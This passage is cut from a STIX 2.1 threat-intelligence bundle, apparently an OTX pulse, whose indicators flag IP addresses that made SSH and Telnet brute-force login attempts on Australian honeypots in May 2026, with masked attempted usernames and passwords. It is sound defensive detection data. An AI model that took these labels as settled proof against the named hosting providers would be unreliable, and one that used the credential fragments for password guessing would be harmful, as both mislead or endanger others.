      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 4******V, J******s, M******1.",
      "id": "indicator--0f45ca3a-1f74-4d41-9afb-5efe70614e63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.66.16.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********E, 2**1, a****1.",
      "id": "indicator--f581e030-2c9b-4347-9648-93f9989bbaf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.17.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t. Passwords observed (masked): S**********5.",
      "id": "indicator--a898aac3-80be-47e1-918f-9ec7856ed6e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.49.246.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******x, 1****8, 1**********E.",
      "id": "indicator--24a59e3c-d253-4ecc-a3de-da3835dbff76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.222.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--717dfa60-8bc4-4f50-ab8c-8ac65ca7918f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.155.54.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 27. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--7c7b8398-1fb0-4898-81ab-da0777541b42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.36.20.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3520a49c-db86-4c9b-9cbc-c254bf09e3d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.230.43.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , G************1, b*****************************************'. Passwords observed (masked): , H**********************3, g************************0.",
      "id": "indicator--a8530171-a64f-4b5d-b424-b24b5ea442fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.14.236.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--32fc92a7-4cbe-4f3e-b07d-da789639b580",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.156.210.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--47ad7fb7-fcea-4add-8ad1-1e55da794675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265594. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--ad06dd78-ca4b-4b9a-8a3b-7eca049b440d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.218.49.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263482. Organisation(s): Megalink Servicos Ltda.",
      "id": "indicator--e1184714-f41b-4d5f-9c32-12752215ecbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.84.47.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--395dd256-ff4d-49e7-bbca-f8c54e47d039",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.195.251.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d105af9d-e844-40c6-b07c-ef42e2c38a6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.81.19.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--bf71cb52-fee9-40f7-b7f4-85c947f94352",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.67.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0. Passwords observed (masked): **, C********0, H**********************3.",
      "id": "indicator--39eb0faa-b127-4339-964d-fa18a4292a6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.253.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0. Passwords observed (masked): **, C********9, H**********************3.",
      "id": "indicator--b850be17-a4e8-44a3-a179-41b51e043d83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.76.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--87bc450c-05d4-4bd7-aee2-ca94b9d207a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.131.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********6, H**********************3.",
      "id": "indicator--855c5336-0a47-4a15-a0b1-96e1ed993175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.190.203.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T03:15:11.000Z",
      "valid_until": "2026-06-19T03:15:08.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 1*******d.",
      "id": "indicator--fcb0e40d-3f27-44bc-bb84-f85af7b88e0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.219.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): m***o.",
      "id": "indicator--45f39b23-f47f-43bd-a1ff-3f75e3e67a6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '13.67.236.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******&, a*******3, f****3.",
      "id": "indicator--1a9751a7-63a3-4332-b1e6-1f1edc771454",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.190.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 46198. Organisation(s): Trilogy Dominicana, S.A..",
      "id": "indicator--39096187-a94d-4fbf-a3df-33b15451b531",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.0.81.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36454. Organisation(s): WHG Hosting Services Ltd.",
      "id": "indicator--2c8119cf-7700-4251-b022-ccf419fb11ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.250.227.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 329. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 3***********4, !******&, 2**6, 9****2.",
      "id": "indicator--6fbe56f3-7a90-40e5-9967-981865c1f4cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.47.70.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, X*******!.",
      "id": "indicator--9e524e7b-4cef-4d85-b2d6-e77f6dec7360",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.100.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******&, 2**6, 9****2.",
      "id": "indicator--cf57b287-201e-4d15-96a8-c699274e2970",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.114.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******&, 2**6, 9****2.",
      "id": "indicator--ea89e29b-ab2a-4078-841d-24626d435dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.70.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T05:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--2aa0a171-b159-4580-a8e8-ca38cc89c19b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.81.83.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T05:15:05.000Z",
      "valid_until": "2026-06-19T05:15:03.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 55736. Organisation(s): Dataknox Pty Limited.",
      "id": "indicator--a87c2eab-d9ba-4763-981e-67cab6f54241",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.160.130.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BA. ASN(s): 9146. Organisation(s): BH Telecom d.d. Sarajevo.",
      "id": "indicator--24bb59b6-12d5-498a-b2da-d35bd2612747",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.175.106.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--4cc51e2e-6698-4e71-842c-c8f3a47f6a92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.86.121.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--72aaebf9-67db-44ae-8b31-aa724893c3d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.157.69.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:15:11.000Z",
      "valid_until": "2026-06-19T06:15:08.000Z"
    },
    {
      "created": "2026-05-18T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 206067. Organisation(s): Three.",
      "id": "indicator--7ee9d4e6-3901-4778-b042-35b58108348e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.29.127.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
